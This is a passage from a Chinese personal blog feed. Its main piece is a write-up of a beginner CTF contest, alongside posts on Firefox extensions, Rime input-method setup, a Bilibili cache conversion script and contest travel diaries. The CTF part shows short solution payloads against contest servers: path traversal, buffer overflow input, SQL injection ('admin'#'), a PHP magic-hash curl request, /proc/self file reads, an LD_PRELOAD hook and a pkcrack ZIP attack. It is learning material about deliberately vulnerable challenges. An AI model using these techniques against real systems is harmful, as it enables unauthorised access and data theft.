审核也过了我就顺手发一下
实际上主要是想吐槽 Web 出题人题目里夹带私货,但是没什么好地方吐槽。
我当时看 Web1 的时候还不知道这个 HS
是啥ㄟ<(=▔.▔=)>ㄏ,结果下午打美团杯的时候恍然大悟。
有一说一,我也挺喜欢 Hanser 的歌的
以下是正文
Continue reading “MSSCTF 2021 Writeup”「Jump up HIGH!!」
审核也过了我就顺手发一下
实际上主要是想吐槽 Web 出题人题目里夹带私货,但是没什么好地方吐槽。
我当时看 Web1 的时候还不知道这个 HS
是啥ㄟ<(=▔.▔=)>ㄏ,结果下午打美团杯的时候恍然大悟。
有一说一,我也挺喜欢 Hanser 的歌的
以下是正文
Continue reading “MSSCTF 2021 Writeup”因为老手机被拿来腾讯会议了,加之确实也算得上时代的眼泪了(
所以换了一台 Redmi K30 5G picasso
那么,开始迁移吧
拿老账号一下就解锁了,没有等待时间,赞美小米
到 XDA 论坛上看一眼没有什么坏处
目测这个手机没有什么好包,Lineageos 都只有一个 alpha 的非官方版,还是 3 个月前的产物了… 详情看这个帖子
不过有一个 eu 版的 miui 包,走起 在这个帖子里
事实上 CN 版的 MIUI 也不错,不过人在 CN 身不由己。我相信小米有保护用户信息的决心(至少 MIUI 12 中可见一二),但是不清楚小米能不能做到。
而且 EU 版有 Google 全家桶,so why not?
之前手滑执行了一次命令,导致 Firefox 的配置文件没了
然后操作失误,把云端备份的插件列表搞没了
万幸的是目前整理到的损失似乎只有这些,那就顺便整理一下自己的插件吧
事实上,Firefox 默认主题挺好看的
配合 Arc Theme 可以得到更好的显示效果,何乐而不为
Firefox 默认的标签页有点单调。啥都不显示没意思,显示的东西又没啥用……
所以使用 Tabliss 是一个不错的选择
当你标签页血多的时候,Firefox 会在标签栏提供一个滚动条
虽然很人性化,但是明显不够用啊
使用 OneTab 可以归档标签页。毕竟一般开那么多个标签页,真正在用的也没几个
使用 Tree Style Tab 可以给以树形结构管理标签页,改变线性的标签页整理方式
广告屏蔽,比 AdblockPlus 快多了
配合 cobaltdisco/Google-Chinese-Results-Blocklist 使用,可以在 Google 屏蔽掉大部分 SEO 站
什么时候中文互联网的 SEO 站能少一点
暴力猴,在 https://greasyfork.org/zh-CN 或者是 Github 上搞到脚本后就往这东西里面放
我使用的脚本有这些
用这个可以通过快捷键直接把选中内容送到 Google Translate 里
Aria2 Download Manager Integration
捕获下载链接,直接传给 Aria2
后台挂两个 Aria2,配合这个使用体验不错
不过,这个插件自带的 webui 不太可用,会自动覆盖设置
不过你都后台挂两个 Aria2 了,顺手搭个 httpd 挂个 Aria2 webui 应该也很简单
重写一些 http 请求为 https,防止某些网站/运营商耍流氓
Firefox Multi-Account Containers
对于国内的毒瘤,除了独立沙箱,应该没有什么防的住 ta 作恶的
这个插件提供了容器功能,你可以把你觉得不太行的网页每次用指定容器打开
终于不用隐私模式用 Baidu 了
把性能里的线程调小点
Firefox 的个性化可以避免一堆插件挤在你得地址栏上,毕竟你经常会调整设置的插件也就那么几个
这个问题实际上是没有答案的,浏览器这种东西比较偏个人。你喜欢那个,那个就是对的
不过这里还是给几个理由
Firefox 曾经是比 Chrome 资源占用少很多。
不过现在 Firefox 也用默认多线程了,这个优势虽然还有一点,但也不算多了
所以找几个这之外的理由
出于时间原因,没有能力给这几个理由找依据
如果你不相信我的话,那么关闭这个页面就好
应该是一场新手入门欢乐赛
打着也确实快乐,应该是我 CTF 比赛第一次做出 Oi 之外的题目
绝大多数知识点都在 CTF Wiki 上,剩下就是脑洞了
管他呢,mcfx txdy!
同志,用 Linux!
然后就是 nc 一把梭
$ nc 47.94.239.235 4001
welcome to Lilac@HIT
Here is kunkun's address:
flag{zonghelou_714}
放进 IDA 去,一看,就是打开 $signer/$music
,不允许你写 ../
然后 Hint 告诉你要访问 ../flag
然后就是傻逼题目了
nc 47.94.239.235 4002
input the singer's name:
..
input the song's name:
/flag
here is the lyric:
flag{w0w_you_successfully_escape_the_r3strict}
打开一看,发现 rand()
函数的种子是 time()%10
那为什么要动脑子,写个种子是 0 的情况
试一下就行了
#include <cstdio>
int num = 0;
int myRand() {
num = (num * num + 233) % 23333;
return num;
}
void mySrand(unsigned int seed) {
num = seed;
}
int playOnce() {
fflush(stdout);
int ai = myRand() % 3;
if( ai == 0)
return 1;
if( ai == 1)
return 2;
if( ai == 2)
return 0;
}
int main() {
mySrand(1);
int n = 100;
while( n -- ) {
printf( "%d\n", playOnce() );
}
}
然后直接拿输出日服务器就行了
题目给了二进制,大力 IDA
IDA 告诉我们 Hint,是根据 Target 位移出来的东西
简单的分析可以发现,基本上就是 8 位一截
然后写个程序大力草就行了
basket.cpp
:
#include <cstdio>
#include <iostream>
int n;
int read() {
int x = 0, w = 1; char ch = 0;
while (ch < '0' || ch > '9') { if (ch == '-') w = -1; ch = getchar(); }
while (ch >= '0' && ch <= '9') { x = x * 10 + (ch - '0'); ch = getchar(); }
return x * w;
}
int main() {
while(1) {
n = read();
int u1 = ( 1 << 8 ) - 1;
int tmp1 = n & u1;
n >>= 8;
int tmp2 = n & u1;
n >>= 8;
int tmp3 = n & u1;
n >>= 8;
int tmp4 = n & u1;
int res = tmp1;
res <<= 8;
res |= tmp4;
res <<= 8;
res |= tmp2;
res <<= 8;
res |= tmp3;
printf( "%d\n", res );
}
}
//-1897606077
// 00011101110010011010100010000110./basket.run 0.00s user 0.00s system 0% cpu 2.026 total
//
// Press ENTER or type command to continue
// 1133434084
// 10000111000111011010100111001000./basket.run 0.00s user 0.00s system 0% cpu 0.656 total
//
// 00011101 11001001 10101000 10000110
// 10000111 00011101 10101001 11001000
// 10001001 00011101 10101011 11000110
temp.py
:
#!/usr/bin/python
from pwn import *
sh = process( './basket.o' )
rem = remote( "47.94.239.235", "4003" )
rem.recvline()
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )
for i in range (1,90):
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )
rem.interactive()
事后发现基本上随便乱输入就可以得到 flag
毕竟是 pwn 题
放到 IDA,读入量比字符串定义的多
直接多放点就过去了
$ nc 47.94.239.235 4004
请开始你的表演:
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
ncongrats, here is the flag
flag{stack_0verflow_is_annoying!!}
tql!!!
和上面的题目一样,都有溢出的漏洞
执行 get_flag()
函数应该会输出 Flag
那 pwntool 直接草就行了
扩展阅读: 栈溢出原理 – CTF Wiki
和上面一样,还是溢出,但是这次要带个参
然后我直接按普通堆做
全然没有注意开了 NX 保护…
后来给了个 Hint
那就是大力 ROP 搞就行了
扩展阅读: 基本 ROP – CTF Wiki
逐位 Xor 加密,直接解
代码就是对着 char 瞎jb位移
然后倒推一下,输出,没了
当时写了个 cpp 还原的,找不到了,不过本来就是签到题,不管了
代码注释里表明这是个算法
目测 TEA 及其变种
网上找个解密的,没了
IDA 后基本上可以发现这是个 RC4 加密算法
然而我赛后才发现
想个办法把里面东西倒出来
发现程序调用了 memcmp,LD_PRELOAD 可以套到目标密文
RC4 具有自反性,在把目标密文放进去,得到明文,也就是 Flag
赛后 mcfx 爷提醒是个数组,还是个巨大线性方程组
我拿 IDA 打开,然后得到了一大堆 if
包裹的条件判断
Vim 随便处理一下就可以变成 z3 的 solve 函数的参数
然后放到 z3 里跑就行了
如果直接用 .model()
输出会输出不全,手动 .model().eval()
脚本太大了,这里是链接:https://blog.woshiluo.com/wp-content/uploads/2020/05/libac_re5.zip
我怎么写的这么多行?
Vim 宏真好用
这次的 WEB 题相比较别的真的好欢乐…
curl -v
或者直接 F12 看 Header
extract
会覆盖变量,考虑覆盖 language_file
没了
签到题,payload 是 admin'#
查看页面原码,得到 login.php.bak
发现 SQL 注入可能性基本为 0
我们可以使 $dbpass
为 null
发现进来的 $password
没有验证,不传就行了
题目给了任意读,但是扬了 flag
可惜 file 被 open 了,我们可以在 procfs 里找到
但是我们并不知道 pid
所以用一个科技 /proc/self
没了
感觉这个比上一道简单
构造一下
curl http://47.93.34.105:8081/\?s\=QNKCDZO\&t\=240610708 -d 'pw=20200501", "password": "shouhukunkun'
没了
我确实菜
对着题目给的参数 base64 -d
三次,得到 flag.jpg
猜测参数就是查询套三次 base64
然后试图获取 index.php
发现替换了非字母且非.
为空
替换 config
为 !
扫描 .index.php.swp
提示看 f1lllaggg!lilac.php
然后代码审计 f1lllaggg!lilac.php
要么 extract
魔改 t,要么直接传空 t
可以过非严格判断
所以那个链接是干什么的,迷惑
这次的比赛激起了我对 Crypto 的兴趣
前五题都是工具题目,没啥说的
合理运用 CyberChef 和 Wikipedia 即可
题目说是原题,直接拖 Google
实际上是 Vigenère 密码,和醋酸的英文名几乎一样
然后找个工具爆破就没了
查看源码,发现使用 Unix 时间戳做密码
Unix 时间戳就那么多,写个爆破就行了
from Crypto.Cipher import AES
#from secret import flag
import time
from hashlib import md5
import base64
time = int(time.time())
while 1:
time = time - 1
key = md5(str(time).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = base64.b64decode( 'THM3FOB7PxOgVoI1fGsqQDJLGu41mL9nKCNeMvXzB+l8MFirir0C19YRS/ruDILq')
outData = aes.decrypt(flag)
print(outData)
跑个 30s,在输出里搜索一下 flag 就行了
基本上就是 b64 变种
映射一下就行了
#include <cstdio>
char mp[1000];
int main() {
FILE* qwq = fopen( "qwq", "r" );
FILE* cip = fopen( "cipher.txt", "r" );
char s1, s2;
while( fscanf( qwq, "%c", &s1 ) !=EOF && fscanf( cip, "%c", &s2 ) ) {
if( map[s1] != 0 )
continue;
mp[s1] = s2;
}
for( char a = 'A'; a <= 'Z'; a ++ ) {
if( mp[a] == 0 )
printf( "0" );
printf( "%c", mp[a] );
}
for( char a = 'a'; a <= 'z'; a ++ ) {
if( mp[a] == 0 )
printf( "0" );
printf( "%c", mp[a] );
}
for( char a = '0'; a <= '9'; a ++ ) {
if( mp[a] == 0 )
printf( "0" );
printf( "%c", mp[a] );
}
printf( "%c", mp['+'] );
printf( "%c", mp['/'] );
printf( "%c", mp['='] );
}
RSA 原理题
直接解就行了
n 变成三个质数相乘了,但是不影响我们解密
import binascii
import gmpy
p = 252647779892687905173761792949656998433
q = 290615416181922737045361451171930371659
r = 281613259213037257262703439109757908501
n = p * q * r
e = 0x10001
# rased = pow(flag, e, n)
rsaed = 1169612223485519024207841670191078798101684935551461601922416127588930439758194701318838707953651437973827125265577
phi = ( p - 1 ) * ( q - 1 ) * ( r - 1 )
inv = gmpy.invert( e, phi )
print(inv)
print(hex(pow( rsaed, inv, n )))
小插曲,我本来手写的 exgcd 求逆元,结果写错了,最后因为不会 py 而选择了 gmpy
题目关于劳动法和基本法的什么东西就先略过了
大家都知道是怎么回事(
然后,StegSolve
直接 Frame
逐个看就行了
题目说的是 9 位数字密码
这,不就是爆破
虽然事后发现 7zip 可以直接打开,惊了
据说是非预期的错误,笑了
题目说了 010Editor
那就没什么说的了
strings
没了
仔细看,Red plane 0 左上角一段白
就选择 Red plane 0 通道,LSB 一下,就知道 Flag 了
访问链接即可
明文破解
pkcrack -c "lilac.png" -p lilac.png -C ./zip-2.zip -P ./lilac-logo.zip -d qwq.zip
没了
binwalk 草出来里面的 png
发现 png 的 CRC 有问题
改个 Height,没了
我先建议出题人司马
直接 OD 会有一句 You see the string,but it is not so easy...but it's baby!
来嘲讽你
总之 binwalk 套出里面的 7z,解压出来是个 gif,string 里面的 Flag 是 Fake
gif 逐帧草出来两个残缺二维码,补全,扫一下,结果还是 Fake
赛后有 Hint 告诉我们
「你在第二层,你以为他在第五层,实际上他在第一层」
你妈的,直接对 EXE Resource Hacker 得到一个凯撒密码
解出来是个网址,访问是个残缺二维码
补上定位点,扫就得到 Flag
没啥说的,签到
总之是一场相当快乐的比赛
几乎除了 Web 所有东西都是现学的,这大概就是在线比赛的乐趣吧,没有所谓记忆造成的堡垒
感谢举办方,给了我学习的机会
最后,跟我一起喊,mcfx 天下第一!
在很多情况下,如果你直接带着 Linux 输入法
这样的关键字去 Google 搜索
那么你得到的通常都是 Google Pinyin,或者 Sogou Pinyin
Google Pinyin 年久失修,Sogou 的话,维护也不算多上心
如果你再认真一点,你也许可以找到 Sunpinyin 和 Libpinyin
这两个的体验已经相当不错了,但你也会发现,在准确率上,还是差了点,而且在词库大的时候,还会很卡
这个时候,你就会查到 Rime —— 中州韵输入法引擎
聪明的输入法懂我心意
这是 Rime 自己的标语
Rime 具有更强大的定制性,更优秀的词语联想,以及跨平台的支持
如果你不相信 Sogou(相信我,没几个人相信 Sogou 不会上传你的数据),那么 Rime 是目前最优秀的选择
Arch Linux
小鹤双拼用户
对于 Arch Linux,我们首先需要选择一个输入平台,我选择的是 Fcitx5
关于 Fcitx5,你可以查阅 Fcitx5 – ArchWiki
(虽然这个东西在 Waylnd 下的功能还很残缺,但是,Wayland 本身问题也不少)
关于 Rime,Arch Wiki 有 这个页面
这个页面简单的介绍了 Rime 的安装方式与使用方式,不过并没有关于 Fcitx5 的介绍
所以我来简单的记录一下
pacman -S fcitx5 fcitx5-qt fcitx5-gtk
pacman -S fcitx5-chinese-addons fcitx-rime
此时,Fcitx5 的配置文件在 ~/.config/fcitx5
下
pacman -S librime
pacman -S rime-double-pinyin #需要双拼的话,安装这个
此时,Rime 的配置文件在 ~/.local/share/fcitx5/rime
下
你可以选择使用 kcm-fcitx5
来通过 GUI 进行配置
不过本篇文章,我选择自己动手
注意:Fcitx5 在关闭的时候,会覆盖配置文件,所以请确保 Fcitx5 关闭后,再修改配置文件
$ cat ~/.config/fcitx5/profile
[Groups/0]
# Group Name
Name=Default
# Layout
Default Layout=us
# Default Input Method
DefaultIM=rime
[Groups/0/Items/0]
# Name
Name=keyboard-us
# Layout
Layout=
[Groups/0/Items/1]
# Name
Name=rime
# Layout
Layout=
[GroupOrder]
0=Default
这份配置文件给 Fcitx5 设置了两个输入法,一个是 US 键盘,一个是 Rime
然后,和其他输入平台一样,我们需要配置环境变量
cat ~/.xprofile
export GTK_IM_MODULE=fcitx5
export XMODIFIERS=@im=fcitx5
export QT_IM_MODULE=fcitx5
这个是使用 Xorg 时才有效的
关于使用 Wayland 时的环境变量设置,请查阅 Environment variables (简体中文) – Arch Wiki
然后将 Fcitx5 加入自启动后,重启即可
Github 上有许多优秀的 rime 的配置文件
通常情况下,你只需要将整个项目 clone 到本地,便可以直接使用
以及,这也是一个不错 Rime 配置 https://sh.alynx.one/posts/My-RIME/
下面,就是我的折腾环节
明月拼音不是不香
就是每次在打词库里没有的词组的时候,经常会出现一堆繁体好几页,我还找不到自己想要的
这个问题显然是简体繁体之间转换除了什么奇怪的问题,不过,这个问题显然不好解决
既然解决不了,不如搞一个基于简体的输入方案
显然,不止我一个这么想
hosxy/rime-aurora-pinyin 就是这样一种输入方案,码表全部为简体中文,并且几乎只有 「通用规范汉字表」 中的汉字
然后你兴冲冲的下载了,开始用了,发现有一个问题
这个输入方案,没有词组……
通常情况下, Sogou 词库 里能找到我们需要的词库
但是这次不一样,这个输入方案里一点词库都没有
所以即使从 Sogou 词库里鼓捣几个下来,输入体验也不是很好
这个时候,我们需要一份中文常用词汇表
我找到了这个 indiejoseph/现代汉语常用词表.txt
简单处理一下(Vim 都可以处理),就可以用做 Rime 的词库了
再来试试,不错
这个倒是有比较优秀的方案了 studyzy/imewlconverter
虽然 AUR 里有这个包,但是我并没有成功安装,反正 Releases 里也有 bin,直接用吧
本篇文章使用 Fcitx5 + Rime 在 Terminator + Vim 的环境下写的
在写这篇文章时,体验还是很好的,九成词语都在第一或者第二候选,不在的词语虽然需要自己去选,但并不复杂
本文所有配置文件都可以在 woshiluo/woshiluo-config 里找到
这次在写文章的时候主要参考是各个项目的 Readme 和 Wiki,以及 Arch Wiki,就不一一列出来了
这篇文章只是基于自己的配置经历所写,如果在任何地方有错误,希望你能通过评论指出
最后,安利 hosxy/fcitx5-material-color 主题,上面的截图就是这个主题,非常好看
这样子转换出来还是有水印的,请不要在未经 UP 主同意的情况下传播或用在非法行为
因为要备份手机,就想着能不能把 Bilbili 的缓存转换成普通视频留在电脑上
然后看了一下下载目录,里面有一个 video.m4s
和 audio.m4s
拿 mpv
一打开,发现刚好一个是视频一个是音频…
剩下的事情就是拿 ffmpeg
合并一下的事情…
随便胡个脚本就行了
covert.sh
# Author: Woshiluo<[email protected]>
#!/bin/bash
work_dir=`pwd`;
fa_php=`pwd`"/fa.php";
part_php=`pwd`"/part.php";
echo $part_php;
mkdir -p "$work_dir/output"
function covert() {
cp "$fa_php" ./
cp "$part_php" ./
fa=`php fa.php`
part=`php part.php`
echo "[INFO] Coverting $fa $part..."
rm fa.php part.php
mkdir -p "$work_dir/output/$fa"
for file in `ls`; do
if [ -d $file ]; then
cd $file
ffmpeg -i video.m4s -i audio.m4s -c copy "$work_dir/output/$fa/$part.mkv" -y >/dev/null 2>&1
cd ..
fi
done
echo "[INFO] Done!"
}
for file in `ls`; do
if [ -d $file ] && [ $file != "output" ]; then
cd ./$file
for video in `ls`; do
if [ -d $video ]; then
cd ./$video
covert
cd ..
fi
done
cd ..
fi
done
fa.php
<?php
$_file = file_get_contents( "./entry.json" );
$desc = json_decode( $_file );
echo $desc -> title;
part.php
<?php
$_file = file_get_contents( "./entry.json" );
$desc = json_decode( $_file );
echo $desc -> page_data -> part;
随便胡的脚本
把这三个文件放到 Bilibili 的下载目录下,然后执行 covert.sh
就行了
执行过后转换过的文件会在 output
目录下
马上就要从 9102 年到 202 年了呢(不是)
今年是多彩的一年
一年内数不清的变化,造就现在的我
而我会带着这一年的变化,向着前方行走
「凡为过往,皆为序章。」
一切事物都在以想象不到的速度变化着
政策的快速变化,事件的戏剧化反转,一次又一次的拷问我们
还有什么是可信的
还有什么是稳定的
或许我们看不到事情的真相,但是应当尽我们所能,确保所了解情况的真实
做一个不受自媒体和短视频带节奏的人
或许是运气很好,有幸在学习的路上优秀的学长们和老师们
甚至还有在中山集训,雅礼集训各个比赛上见到的同学们
能够遇到大家确实是一个了不起的缘分,要加油啊
缘分还体现在自己对于动漫的热爱
无论实在 1 月的动漫星城,还是 8 月的 Aqours 5th Live 上映会与 Bilibili World 2019 广州站,乃至 12 月在北京 Animate 和搜秀城
虽然自己身处全世界离海最远的城市,但是还是有机会,有缘分能够到达这些地方,见到相同爱好的人
缘,妙不可言
或许多多少少有一点算得上梦想的东西
今年有幸参加了几乎整个赛季一直到 NOI 的所有赛事
( CCF NOI WC,APIO,CTS,NOI,CSP)
甚至有幸去 PKUWC 这种神仙比赛
不过比赛成绩倒是都不怎么样,还是要努力啊
自主招生政策的不定
进在眼前的中考
这一切都表明了,未来是看不清的
但是我依然相信缘分,相信自己的脚步
看不清的未来,才是值得期待的
从自己在动漫星城时放光的双眼,到搜秀城时的砍价
从 WC 时的铜牌,到 NOI 时的打铁
从混乱的 SYZOJ 魔改,到逐渐形成自己的规范的小脚本
从慌乱不定的 E 类,到波澜不惊的 NOIP 暂停
我是想要发光的,想要在舞台上,发出属于自己的光芒
正是前方迷茫不定,才有着向前走,发光的意义
「私たち、 輝きたい!」
「我们,想要闪闪发光」
「LoveLive! SunShine!!」
没有写游记的事件
其他游记/感想不在此处总结
晚上十一点半的机房,Woshiluo 正悠闲地考虑着第二天该做的题目
说着他一瞬想起来自己似乎报名过 PKUWC
「过去几年都没有人通过的,今年夏令营整个新疆都没过,果然还是白忙活吧」
话虽这么说,Woshiluo 还是打开了报名网站
「喵喵喵,过了?」
在经过严密的安检过后
我终于到达了乌鲁木齐站三层
比较有意思是,我的检票口貌似是 A1
然而 A1 前面的人都已经坐满了
我走到夹层,和绝大多数高铁站一样,这个地方是用来骗钱的
不过也就意味着,这里的人会少一点
稍作调整之后,车站广播也响起来了
随着缓慢的人群,我通过了检票口,到达了火车上
乌鲁木齐铁路局所销售物品的昂贵已经是有很久历史的事情了
所以如果上车的时候犯懒没有买足吃的东西的话
可以到大站下去购买以尽可能的减少损失
这趟列车绝大部分地区都是没有信号的地方
所以基于手机的娱乐基本上是没有了
Kindel 和随身携带的纸制书可能是最有效的消磨时间方式
所以我在火车上过了一遍绿书,并读完了「樱花庄的宠物女孩」的本篇及番外
我的上铺和下铺都是年轻人,一个考研,一个去内地学习技术
总而言之,大家也都有自己的前途
在早上十点,火车到达了北京西站
我从地铁口出来,联系上了 sbr,我从北京西站到国家图书馆再换乘到海淀黄庄
两个人见面稍微寒暄了一小阵,就到星巴克里谈人生
到了快要报道的时间,我们从海淀黄庄坐到北京大学东门 D 出口,从 D 口出来后约 5min 就可以到达报道的地方
我前面比没有几个人,进去之后签到的一栏旁边还有一个 是否使用 NOI Linux
看到这一栏时,就体会到了 PKU 的良心,更不要提后面还有 PKU 食堂 150 CNY 的饭卡
和 sbr 打车到国贸大厦,惊奇的发下自己把一些东西落在了报到处…
算了不重要
然后在和 sbr 吃完午饭后,我坐地铁从国贸到东大桥
经过 5min 的第六感导航,我顺利的到达了 Animate
这里的 Animate 和广东店装修风格好像啊
不过比广东店大了不少
时间超级紧迫,因为很明显,我需要在报道时间结束前回到报道处,拿回自己的东西
所以我就一目十行,随便扫了点 LoveLive! 和 碧蓝航线 的东西就飞速离开了
不过最意外的收获就是搞到了一本 「LoveLive! School idol diary」还是日文原版的
然后一路 Rush 到北京大学的报道处,偷偷的拿到了自己的东西
接着到了自己的酒店,真的离 PKU 好远啊…
稍微整理了一下在 Animate 的战果后跑去和 杨老师 — 我们的教练 会面
然后发现自己这边里所有地铁站都好远啊…
选了个最近的地铁站 — 上地站,然后惊奇的发现 13 号线几乎全是在地表的,我一开始以为这是轻轨,后来发现这东西叫城铁
从上地站出发,换乘两次到鼓楼,然后杨老师告诉我她到雍和宫了
于是从鼓楼出发,换乘一次到雍和宫
后面和老师吃了顿饭,然后和地铁关闭时间赛跑,换乘两次回到上地站
待我再回到酒店的时候,我人已经完全坏掉了
早上在酒店滴滴了 10min +,终与打到了车…
匆匆忙忙,到达开幕式所在场所
认识了几位大佬
开幕式大约介绍了一下北大,然后就散了
然后发现,没有地方休息的说
在经历了一阵混乱后,最后反正是在中关新园定了一间房
嘛,虽然贵的要死,不过明天也算是有地方休息了
反正今天是没有时间了
和教练一起在食堂吃了顿饭
在吃完 PKU 食堂的饭后,真的让人想上 PKU (不是
食堂饭又便宜又好吃,感谢 PKU 给的饭卡
然后跑到考场,Windows 考生使用 Windows 10,具体配置也不清楚
NOI Linux 考生使用的是 Dell 的笔记本,Intel i7,16G DDR4
多余的也没看,毕竟体验很优秀
T1
T2
T3
告辞 28pts 跑路
在 T1 莽的太久了, T2 T3 好多暴力没拿
中关新园离 pku 是真的近(
回去没有什么事情,就一直在颓废
据说面试还有紧张到说不出话的
基本上面试文的问题都挺普通的
面试的时候会有一个预定的时间表
我想着我还没到时间,就去食堂买了个面包当早餐
结果回来发现已经到下一个了
无限尴尬
不过还好,面试老师并没有说什么
和一个天津大佬面基成功w
T1
T2
T3
最后 100 + 32 + 0 = 132pts
还算可以,基本上算是我的最大能力了(
回到酒店后,想起今天是冬至,便外卖了份饺子
然而是真的贵
吃完虽然没有吃饱,不过就这样子吧
然后颓废
早早的就起来了
和 lk 爷爷面基,一起在楼下的包子铺吃了招行
两个人扯皮了好久
Orz lk 太强了
后来两个人打车去 PKU,中间 LK 在 THU 下了
我到了之后刚好开幕
我们教练家女儿生病了,于是我又双是一个人了
一开始大概就是领导讲话
然后就开始讲题
讲下来感觉自己还是很有希望 200 + 的
不过 Day 1 的时候智商下线了w
题倒是都还好,除了 Day 1 T3 完全没搞懂
剩下的都是能听懂但是不会写的(
然后颁奖
我觉得和我没什么关系,就把衣服拉链来开了,毕竟很热
然后惊奇的发现有个三等奖,结果上去的时候拉链没拉上www
后面发现闭幕式结束才 15 点
直接冲出去坐地铁到搜秀城w
然后再采购
然后就是回宾馆睡觉
晚上和 sbr 再面基
上午和 Galaxy 见面
(或许是我这次唯一一个面基的成年人?)
然后带我逛了下 THU,顺便在 THU 吃了顿饭
和他聊了一阵子天,受益匪浅
正准备去机场
然后飞机延误了
意外之喜
于是再去了趟 Animate,好好逛了一把
发现了好多之前没有发现的东西
大收获的说
飞机又双延误了
告辞,火车真香
今年感觉相比较以往还是难了一些的
不过没有大家说的那么夸张倒是真的
不过自己貌似真的变菜了
笔者考完 CSP 就会初中部回了一天
然后周二病到周五
一直在不发烧和低烧徘徊
但是一直咳嗽
咳得人 头疼 + 胸口疼 + 嗓子疼
新疆地邪啊
今年七十中并不给试机子(注:也有可能是 CCF/科协 不让)
罢了,也没什么看头,每年 11 月都会在七十中冻一下
中午大家一起吃饭
虽然想学习,最后还是放弃了
晚上翻来覆去睡不着,迷迷糊糊最后还是睡了
早上一开门,哇,下雪了
无论这个比赛怎么改名下雪还是避免不了的
在寒冷的凌晨,我们又拿起武器,向着熟悉的战场再次走去
T3 是个啥啊?
一中学长们的校车因为各种各样的原因,8:25 才到
遇见了不少以前的熟人,SpinMry,dyf 大家好久不见了,一起加油吧!
匆匆忙忙赶进考场,熟练的敲下 .vimrc
,慌的一批
到了时间,准点发题
一直很想问都 9102 年,新疆为什么还是不用压缩包加密这种可靠性高的多的方法
非要用电子教师软件传输,然后再匆匆忙忙断网
罢了,有人愿意举办就不错了
unsigned long long
,出题人太毒瘤了吧114514
太臭了,一跑,爆栈了,手写递归去了 考完心态小崩,找 dyf 一起快乐
两个人一起吃了饭,然后开始互相吐槽各自的学校
聊完天,两个人有一起走到七十中,路上还在吐槽某大佬的的迷路属性,结果到了七十中校门口就碰到了某大佬
先在二楼和 dyf 与 caq 一起聊天 CSP 本质面基大会无疑
然后快考试了才去了三楼,运气可以抽到了比较暖和的位置
一出考场发现 2 道原题过分了啊
T3 我竟然做过,傻了
又见熟人,不过因为 Day1 的心态,所以就没有过多闲聊
遇到郭老师,问他 Day 1 爆栈的问题
满口都是什么
「机子环境不重要的啊」
「全国只有两个省份提供了 NOI Linux,还都是虚拟机,别的都是 Windows 」
我看加个「七十中断电和七十中无关」都可以郭老师三连了
顺带一提,Day2 T2 内存 1GB 我们考试环境总共就 1GB 内存,可把我给整乐了
算了,XJ 这个占全国 $\frac{1}{6}$ 领土的小省份还是不要想别的了吧
随便在一中食堂买了桶泡面
然后就会机房和大家一起聊天
高二的学长们很大一部分都要退役了,说不好真的是最后一次见了…
祝各位安好
一点 CSP 过后的小记
选手程序出了
找了几个数据在 NOI Linux 上测试了一下
顺带一提,是远程测试,是真的延迟高…
最后基本上都是
$100 + 55 + 0 + 0 + 64 + 40 = 259$
也不知道官方数据怎么样…
斗胆看了下 Day1 T2
发现自己把
st[ st_cnt ]
写成了
st_cnt
离谱
正在去市一中的路上,突然看到有个群里说成绩出了
CCF 又写 Bug了(当然不排除故意的可能性)
一路狂奔跑到机房
拿到数据正准备测试,结果机房 DNS 锅了
看了一下发现 php-fpm
服务挂了
修复了之后开始评测,然后在大屏上直播
感觉还可以,评测期间基本上就是在骂测了 1min + 但是却 0 pts 的憨憨
想了想,还是有想停课冲冬令营的想法
稍作思考也许就会出结果了吧…
回去文化课实际上感觉还可以,基本上也都听得懂
勉强在班里还算可以,不过在这个学校里想要上一中必须得很靠前啊…
今年可能比较去年可能会更加迷茫一些
去年的问题有一条今年还有的
除此之外,能察觉到的主观问题还有
以下是一些客观原因
顺带一提,我和同省大爷 StudyingFather 的意见一样
个人感觉我们今年的培训题目还是太偏了,考试虽然一直都在考,但是留于改题与总结的时间并不算长
不过我们也确实做不到跟上出题趋势这个大方向
希望我们会走的更好吧
「Jump up HIGH!!」
– Aqours
今年已经是我第三年学习 Oi 了
也许自己真的在实现最初的梦想
当时刚学 Oi 的时候,就一直在想,要是我能拿到 XJ 的第二块 Au 就好了
后来目标渐渐变了,变成很多奇奇怪怪的东西
回过头来,却发现自己也无意识中接近了最初的目标
不过还是很遥远就是了
不过人好歹还是要有梦想的,毕竟自己文化课也不算优秀
所以说,就当是有梦想了吧
虽然自己菜的真实
「私たち、 輝きたい!」
「LoveLive!SunShine!!」
Woshiluo
2019/12/04
乌鲁木齐市第一中学 小机房
这两天模拟赛越发频繁了…
Windows 有时候很睿智,Lemon 时间波动特别大,Cena … 不说了大家都懂
总而言之,与其和微软斗智斗勇,不如早日更换评测环境
然而如果使用现今的发行版,有一个很有意思的问题…
CCF 的评测环境有些久远,而且还是 32 位的
所以果然还是 NOI Linux 吧~
然而机房并没有空闲的电脑能够完成这个任务,虚拟机大家又跑不起
我的眼光落到了正在运行着 NovaOJ 的工作站上
就决定是你了!
Continue reading “命令行下使用 VirtualBox 安装 NOI Linux”